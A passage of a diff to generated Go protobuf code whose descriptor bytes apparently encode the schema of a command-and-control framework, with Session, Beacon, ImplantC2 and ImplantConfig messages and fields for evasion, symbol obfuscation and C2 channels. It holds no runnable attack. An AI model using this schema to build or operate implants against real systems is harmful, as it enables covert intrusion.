@@ -10899,7 +11382,7 @@ func (x *ResourceID) String() string {
func (*ResourceID) ProtoMessage() {}
func (x *ResourceID) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[117]
+ mi := &file_clientpb_client_proto_msgTypes[123]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -10912,7 +11395,7 @@ func (x *ResourceID) ProtoReflect() protoreflect.Message {
// Deprecated: Use ResourceID.ProtoReflect.Descriptor instead.
func (*ResourceID) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{117}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{123}
}
func (x *ResourceID) GetID() string {
@@ -10961,1739 +11444,1806 @@ var file_clientpb_client_proto_rawDesc = []byte{
0x41, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0a, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c,
0x65, 0x64, 0x41, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x4f, 0x53, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09,
0x52, 0x02, 0x4f, 0x53, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x72, 0x63, 0x68, 0x18, 0x08, 0x20, 0x01,
- 0x28, 0x09, 0x52, 0x04, 0x41, 0x72, 0x63, 0x68, 0x22, 0x3b, 0x0a, 0x0d, 0x43, 0x6c, 0x69, 0x65,
- 0x6e, 0x74, 0x4c, 0x6f, 0x67, 0x44, 0x61, 0x74, 0x61, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x74, 0x72,
- 0x65, 0x61, 0x6d, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x53, 0x74, 0x72, 0x65, 0x61,
- 0x6d, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52,
- 0x04, 0x44, 0x61, 0x74, 0x61, 0x22, 0x93, 0x05, 0x0a, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f,
- 0x6e, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49,
- 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52,
- 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d,
- 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d,
- 0x65, 0x12, 0x12, 0x0a, 0x04, 0x55, 0x55, 0x49, 0x44, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52,
- 0x04, 0x55, 0x55, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d,
- 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d,
- 0x65, 0x12, 0x10, 0x0a, 0x03, 0x55, 0x49, 0x44, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03,
- 0x55, 0x49, 0x44, 0x12, 0x10, 0x0a, 0x03, 0x47, 0x49, 0x44, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09,
- 0x52, 0x03, 0x47, 0x49, 0x44, 0x12, 0x0e, 0x0a, 0x02, 0x4f, 0x53, 0x18, 0x08, 0x20, 0x01, 0x28,
- 0x09, 0x52, 0x02, 0x4f, 0x53, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x72, 0x63, 0x68, 0x18, 0x09, 0x20,
- 0x01, 0x28, 0x09, 0x52, 0x04, 0x41, 0x72, 0x63, 0x68, 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x72, 0x61,
- 0x6e, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x54, 0x72,
- 0x61, 0x6e, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x12, 0x24, 0x0a, 0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x74,
- 0x65, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d,
- 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x12, 0x10, 0x0a,
- 0x03, 0x50, 0x49, 0x44, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x05, 0x52, 0x03, 0x50, 0x49, 0x44, 0x12,
- 0x1a, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x0d, 0x20, 0x01, 0x28,
- 0x09, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x4c,
- 0x61, 0x73, 0x74, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x69, 0x6e, 0x18, 0x0e, 0x20, 0x01, 0x28, 0x03,
- 0x52, 0x0b, 0x4c, 0x61, 0x73, 0x74, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x69, 0x6e, 0x12, 0x1a, 0x0a,
- 0x08, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x43, 0x32, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x09, 0x52,
- 0x08, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x43, 0x32, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, 0x72,
- 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x10, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, 0x73,
- 0x69, 0x6f, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x45, 0x76, 0x61, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x11,
- 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x45, 0x76, 0x61, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x0a,
- 0x06, 0x49, 0x73, 0x44, 0x65, 0x61, 0x64, 0x18, 0x12, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x49,
- 0x73, 0x44, 0x65, 0x61, 0x64, 0x12, 0x2c, 0x0a, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, 0x65,
- 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, 0x13, 0x20, 0x01, 0x28, 0x03,
- 0x52, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, 0x72,
- 0x76, 0x61, 0x6c, 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x78, 0x79, 0x55, 0x52, 0x4c, 0x18,
- 0x14, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x78, 0x79, 0x55, 0x52, 0x4c, 0x12,
- 0x16, 0x0a, 0x06, 0x42, 0x75, 0x72, 0x6e, 0x65, 0x64, 0x18, 0x16, 0x20, 0x01, 0x28, 0x08, 0x52,
- 0x06, 0x42, 0x75, 0x72, 0x6e, 0x65, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x45, 0x78, 0x74, 0x65, 0x6e,
- 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x17, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0a, 0x45, 0x78, 0x74,
- 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x50, 0x65, 0x65, 0x72, 0x49,
- 0x44, 0x18, 0x19, 0x20, 0x01, 0x28, 0x03, 0x52, 0x06, 0x50, 0x65, 0x65, 0x72, 0x49, 0x44, 0x12,
- 0x16, 0x0a, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x18, 0x1a, 0x20, 0x01, 0x28, 0x09, 0x52,
- 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x46, 0x69, 0x72, 0x73, 0x74,
- 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, 0x18, 0x1b, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x46,
- 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, 0x22, 0x82, 0x06, 0x0a, 0x06,
- 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01,
- 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02,
- 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f,
- 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f,
- 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x55, 0x55, 0x49, 0x44, 0x18, 0x04,
- 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x55, 0x55, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x55, 0x73,
- 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x55, 0x73,
- 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x10, 0x0a, 0x03, 0x55, 0x49, 0x44, 0x18, 0x06, 0x20,
- 0x01, 0x28, 0x09, 0x52, 0x03, 0x55, 0x49, 0x44, 0x12, 0x10, 0x0a, 0x03, 0x47, 0x49, 0x44, 0x18,
- 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x47, 0x49, 0x44, 0x12, 0x0e, 0x0a, 0x02, 0x4f, 0x53,
- 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x4f, 0x53, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x72,
- 0x63, 0x68, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x41, 0x72, 0x63, 0x68, 0x12, 0x1c,
- 0x0a, 0x09, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x18, 0x0a, 0x20, 0x01, 0x28,
- 0x09, 0x52, 0x09, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x12, 0x24, 0x0a, 0x0d,
- 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x18, 0x0b, 0x20,
- 0x01, 0x28, 0x09, 0x52, 0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x41, 0x64, 0x64, 0x72, 0x65,
- 0x73, 0x73, 0x12, 0x10, 0x0a, 0x03, 0x50, 0x49, 0x44, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x05, 0x52,
- 0x03, 0x50, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x6e, 0x61, 0x6d, 0x65,
- 0x18, 0x0d, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x6e, 0x61, 0x6d, 0x65,
- 0x12, 0x20, 0x0a, 0x0b, 0x4c, 0x61, 0x73, 0x74, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x69, 0x6e, 0x18,
- 0x0e, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x4c, 0x61, 0x73, 0x74, 0x43, 0x68, 0x65, 0x63, 0x6b,
- 0x69, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x43, 0x32, 0x18, 0x0f,
- 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x43, 0x32, 0x12, 0x18,
- 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x10, 0x20, 0x01, 0x28, 0x09, 0x52,
- 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x45, 0x76, 0x61, 0x73,
- 0x69, 0x6f, 0x6e, 0x18, 0x11, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x45, 0x76, 0x61, 0x73, 0x69,
- 0x6f, 0x6e, 0x12, 0x16, 0x0a, 0x06, 0x49, 0x73, 0x44, 0x65, 0x61, 0x64, 0x18, 0x12, 0x20, 0x01,
- 0x28, 0x08, 0x52, 0x06, 0x49, 0x73, 0x44, 0x65, 0x61, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x72,
- 0x6f, 0x78, 0x79, 0x55, 0x52, 0x4c, 0x18, 0x14, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x50, 0x72,
- 0x6f, 0x78, 0x79, 0x55, 0x52, 0x4c, 0x12, 0x2c, 0x0a, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e,
- 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, 0x15, 0x20, 0x01, 0x28,
- 0x03, 0x52, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65,
- 0x72, 0x76, 0x61, 0x6c, 0x12, 0x1a, 0x0a, 0x08, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c,
- 0x18, 0x16, 0x20, 0x01, 0x28, 0x03, 0x52, 0x08, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c,
- 0x12, 0x16, 0x0a, 0x06, 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x18, 0x17, 0x20, 0x01, 0x28, 0x03,
- 0x52, 0x06, 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x12, 0x16, 0x0a, 0x06, 0x42, 0x75, 0x72, 0x6e,
- 0x65, 0x64, 0x18, 0x18, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x42, 0x75, 0x72, 0x6e, 0x65, 0x64,
- 0x12, 0x20, 0x0a, 0x0b, 0x4e, 0x65, 0x78, 0x74, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x69, 0x6e, 0x18,
- 0x19, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x4e, 0x65, 0x78, 0x74, 0x43, 0x68, 0x65, 0x63, 0x6b,
- 0x69, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x43, 0x6f, 0x75, 0x6e, 0x74,
- 0x18, 0x1a, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0a, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x43, 0x6f, 0x75,
- 0x6e, 0x74, 0x12, 0x30, 0x0a, 0x13, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x43, 0x6f, 0x75, 0x6e, 0x74,
- 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x18, 0x1b, 0x20, 0x01, 0x28, 0x03, 0x52,
- 0x13, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x43, 0x6f, 0x6d, 0x70, 0x6c,
- 0x65, 0x74, 0x65, 0x64, 0x12, 0x16, 0x0a, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x18, 0x1c,
- 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x12, 0x22, 0x0a, 0x0c,
- 0x46, 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, 0x18, 0x1d, 0x20, 0x01,
- 0x28, 0x03, 0x52, 0x0c, 0x46, 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74,
- 0x22, 0x35, 0x0a, 0x07, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x73, 0x12, 0x2a, 0x0a, 0x07, 0x42,
- 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x10, 0x2e, 0x63,
- 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x52, 0x07,
- 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x73, 0x22, 0xfe, 0x01, 0x0a, 0x0a, 0x42, 0x65, 0x61, 0x63,
- 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01,
- 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e,
- 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e,
- 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18,
- 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74,
- 0x12, 0x14, 0x0a, 0x05, 0x53, 0x74, 0x61, 0x74, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52,
- 0x05, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x65, 0x6e, 0x74, 0x41, 0x74,
- 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x06, 0x53, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x12, 0x20,
- 0x0a, 0x0b, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x06, 0x20,
- 0x01, 0x28, 0x03, 0x52, 0x0b, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74,
- 0x12, 0x18, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x07, 0x20, 0x01, 0x28,
- 0x0c, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x52, 0x65,
- 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x08, 0x52, 0x65,
- 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69,
- 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x44, 0x65, 0x73,
- 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x55, 0x0a, 0x0b, 0x42, 0x65, 0x61, 0x63,
- 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f,
- 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f,
- 0x6e, 0x49, 0x44, 0x12, 0x2a, 0x0a, 0x05, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x18, 0x02, 0x20, 0x03,
- 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65,
- 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x52, 0x05, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x22,
- 0x63, 0x0a, 0x09, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x32, 0x12, 0x0e, 0x0a, 0x02,
- 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08,
- 0x50, 0x72, 0x69, 0x6f, 0x72, 0x69, 0x74, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08,
- 0x50, 0x72, 0x69, 0x6f, 0x72, 0x69, 0x74, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x55, 0x52, 0x4c, 0x18,
- 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x55, 0x52, 0x4c, 0x12, 0x18, 0x0a, 0x07, 0x4f, 0x70,
- 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x4f, 0x70, 0x74,
- 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x97, 0x0d, 0x0a, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74,
- 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01,
- 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x3c, 0x0a, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e,
- 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x16, 0x2e,
- 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74,
- 0x42, 0x75, 0x69, 0x6c, 0x64, 0x52, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75,
- 0x69, 0x6c, 0x64, 0x73, 0x12, 0x2a, 0x0a, 0x10, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50,
- 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x49, 0x44, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x10,
- 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x49, 0x44,
- 0x12, 0x1a, 0x0a, 0x08, 0x49, 0x73, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x18, 0x04, 0x20, 0x01,
- 0x28, 0x08, 0x52, 0x08, 0x49, 0x73, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x26, 0x0a, 0x0e,
- 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, 0x05,
- 0x20, 0x01, 0x28, 0x03, 0x52, 0x0e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x6e, 0x74, 0x65,
- 0x72, 0x76, 0x61, 0x6c, 0x12, 0x22, 0x0a, 0x0c, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x4a, 0x69,
- 0x74, 0x74, 0x65, 0x72, 0x18, 0x06, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x42, 0x65, 0x61, 0x63,
- 0x6f, 0x6e, 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53,
- 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06,
- 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f,
- 0x41, 0x52, 0x43, 0x48, 0x12, 0x14, 0x0a, 0x05, 0x44, 0x65, 0x62, 0x75, 0x67, 0x18, 0x0a, 0x20,
- 0x01, 0x28, 0x08, 0x52, 0x05, 0x44, 0x65, 0x62, 0x75, 0x67, 0x12, 0x18, 0x0a, 0x07, 0x45, 0x76,
- 0x61, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x45, 0x76, 0x61,
- 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x2a, 0x0a, 0x10, 0x4f, 0x62, 0x66, 0x75, 0x73, 0x63, 0x61, 0x74,
- 0x65, 0x53, 0x79, 0x6d, 0x62, 0x6f, 0x6c, 0x73, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x08, 0x52, 0x10,
- 0x4f, 0x62, 0x66, 0x75, 0x73, 0x63, 0x61, 0x74, 0x65, 0x53, 0x79, 0x6d, 0x62, 0x6f, 0x6c, 0x73,
- 0x12, 0x22, 0x0a, 0x0c, 0x54, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x4e, 0x61, 0x6d, 0x65,
- 0x18, 0x0d, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x54, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65,
- 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x53, 0x47, 0x4e, 0x45, 0x6e, 0x61, 0x62, 0x6c,
- 0x65, 0x64, 0x18, 0x0e, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x53, 0x47, 0x4e, 0x45, 0x6e, 0x61,
- 0x62, 0x6c, 0x65, 0x64, 0x12, 0x20, 0x0a, 0x0b, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x4d,
- 0x54, 0x4c, 0x53, 0x18, 0x35, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x49, 0x6e, 0x63, 0x6c, 0x75,
- 0x64, 0x65, 0x4d, 0x54, 0x4c, 0x53, 0x12, 0x20, 0x0a, 0x0b, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64,
- 0x65, 0x48, 0x54, 0x54, 0x50, 0x18, 0x10, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x49, 0x6e, 0x63,
- 0x6c, 0x75, 0x64, 0x65, 0x48, 0x54, 0x54, 0x50, 0x12, 0x1c, 0x0a, 0x09, 0x49, 0x6e, 0x63, 0x6c,
- 0x75, 0x64, 0x65, 0x57, 0x47, 0x18, 0x11, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x49, 0x6e, 0x63,
- 0x6c, 0x75, 0x64, 0x65, 0x57, 0x47, 0x12, 0x1e, 0x0a, 0x0a, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64,
- 0x65, 0x44, 0x4e, 0x53, 0x18, 0x12, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x49, 0x6e, 0x63, 0x6c,
- 0x75, 0x64, 0x65, 0x44, 0x4e, 0x53, 0x12, 0x28, 0x0a, 0x0f, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64,
- 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x50, 0x69, 0x70, 0x65, 0x18, 0x13, 0x20, 0x01, 0x28, 0x08, 0x52,
- 0x0f, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x50, 0x69, 0x70, 0x65,
- 0x12, 0x1e, 0x0a, 0x0a, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x43, 0x50, 0x18, 0x14,
- 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x43, 0x50,
- 0x12, 0x20, 0x0a, 0x0b, 0x57, 0x47, 0x50, 0x65, 0x65, 0x72, 0x54, 0x75, 0x6e, 0x49, 0x50, 0x18,
